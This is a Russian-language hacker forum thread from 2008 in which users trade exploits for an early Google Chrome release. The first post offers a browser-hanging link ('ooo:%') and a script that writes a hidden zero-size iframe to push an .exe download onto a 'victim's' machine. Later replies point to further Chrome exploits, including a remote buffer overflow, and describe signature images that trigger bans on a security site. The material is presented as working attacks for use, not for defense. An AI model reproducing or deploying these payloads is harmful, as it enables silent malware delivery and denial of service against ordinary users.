Google Chrome [exploit]

Discussion in 'Уязвимости' started by bublebuble, 5 Sep 2008.

  1. bublebuble

    bublebuble Elder - Старейшина

    Joined:
    15 Sep 2007
    Messages:
    102
    Likes Received:
    28
    Reputations:
    0
    Google Chrome 2x[exploit]

    Только вышел свеженький Chrome как сразу появились первые сплойты под него, работает на сто процентов, проверено.

    №1

    Информация:
    Программа:
    Google Chrome Browser 0.2.149.27

    Тестировано:
    Windows XP Professional SP1,2,3

    Результат:
    Google Chrome подвисает со всеми вкладками и автоматически не перезагружается

    Тест:
    Ставим ссылку без ковычек "ooo:%"

    Источник:evilfingers(.)com

    №2

    Информация:
    Программа:
    Google Chrome Browser 0.2.149.27

    Тестировано:
    Windows XP Professional SP1,2,3

    Результат:
    Автоматическая загрузка файла на компьютер жертвы

    Тест:
    Code:
    <script>
    document.write('<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">');
    </script>
    Источник:milw0rm(.)com
     
    #1 bublebuble, 5 Sep 2008
    Last edited: 5 Sep 2008
    1 person likes this.
  2. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    :% хватает ..
     
  3. bublebuble

    bublebuble Elder - Старейшина

    Joined:
    15 Sep 2007
    Messages:
    102
    Likes Received:
    28
    Reputations:
    0
    в общем нужно чтобы браузер воспринимал ссылку как ссылку программы вот и всё, ну и конечно специальный символ
     
  4. bublebuble

    bublebuble Elder - Старейшина

    Joined:
    15 Sep 2007
    Messages:
    102
    Likes Received:
    28
    Reputations:
    0
    смотрите баг-в индексе категории название после перемеинования не поменялось :)
     
  5. kabadayi

    kabadayi New Member

    Joined:
    17 Jul 2005
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    hmm lol thank is failed :p
     
  6. gisTy

    gisTy Elder - Старейшина

    Joined:
    24 May 2008
    Messages:
    432
    Likes Received:
    160
    Reputations:
    27
    почитал RSS с милки.. уже есть как минимум 4 сплойта под хром..

    Google Chrome Browser 0.2.149.27 Inspect Element DoS Exploit
    Описание здесь:
    Google Chrome Browser 0.2.149.27 (SaveAs) Remote BOF Exploit
    Описание здесь:
    Сам сплоит здесь:
     
    #6 gisTy, 6 Sep 2008
    Last edited: 6 Sep 2008
  7. warlok

    warlok Elder - Старейшина

    Joined:
    17 Feb 2008
    Messages:
    328
    Likes Received:
    142
    Reputations:
    81
    чето у меня милворм работать отказуеться
     
  8. gisTy

    gisTy Elder - Старейшина

    Joined:
    24 May 2008
    Messages:
    432
    Likes Received:
    160
    Reputations:
    27
    он почти у всех тут не работает, потому что у нескольких добрых людей в подписи висит картинка milw0rm.com/admin и при заходе на эту страницу, милка банит на определенное время=)
     
  9. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    эт у кого ?
     
  10. gisTy

    gisTy Elder - Старейшина

    Joined:
    24 May 2008
    Messages:
    432
    Likes Received:
    160
    Reputations:
    27
    у кого то была... не помню у кого=)
     
  11. gunzi

    gunzi New Member

    Joined:
    28 Aug 2005
    Messages:
    0
    Likes Received:
    2
    Reputations:
    0
    149.29 ни один сплойт не работает (
     
  12. bublebuble

    bublebuble Elder - Старейшина

    Joined:
    15 Sep 2007
    Messages:
    102
    Likes Received:
    28
    Reputations:
    0
    o_O 149.29 все работают, видео чтоли выложить? Ooo___oooo
     
  13. nonamez

    nonamez Elder - Старейшина

    Joined:
    22 Jul 2007
    Messages:
    565
    Likes Received:
    265
    Reputations:
    17
    крч вовремя я его снес,но млин удобная весчь...
     
  14. gisTy

    gisTy Elder - Старейшина

    Joined:
    24 May 2008
    Messages:
    432
    Likes Received:
    160
    Reputations:
    27
    они и не будут работать, потому что они под 149.27
     
  15. bublebuble

    bublebuble Elder - Старейшина

    Joined:
    15 Sep 2007
    Messages:
    102
    Likes Received:
    28
    Reputations:
    0
    удобная так удобная но под неё нет аддонов :)
    у меня тока половина пахала на 149.27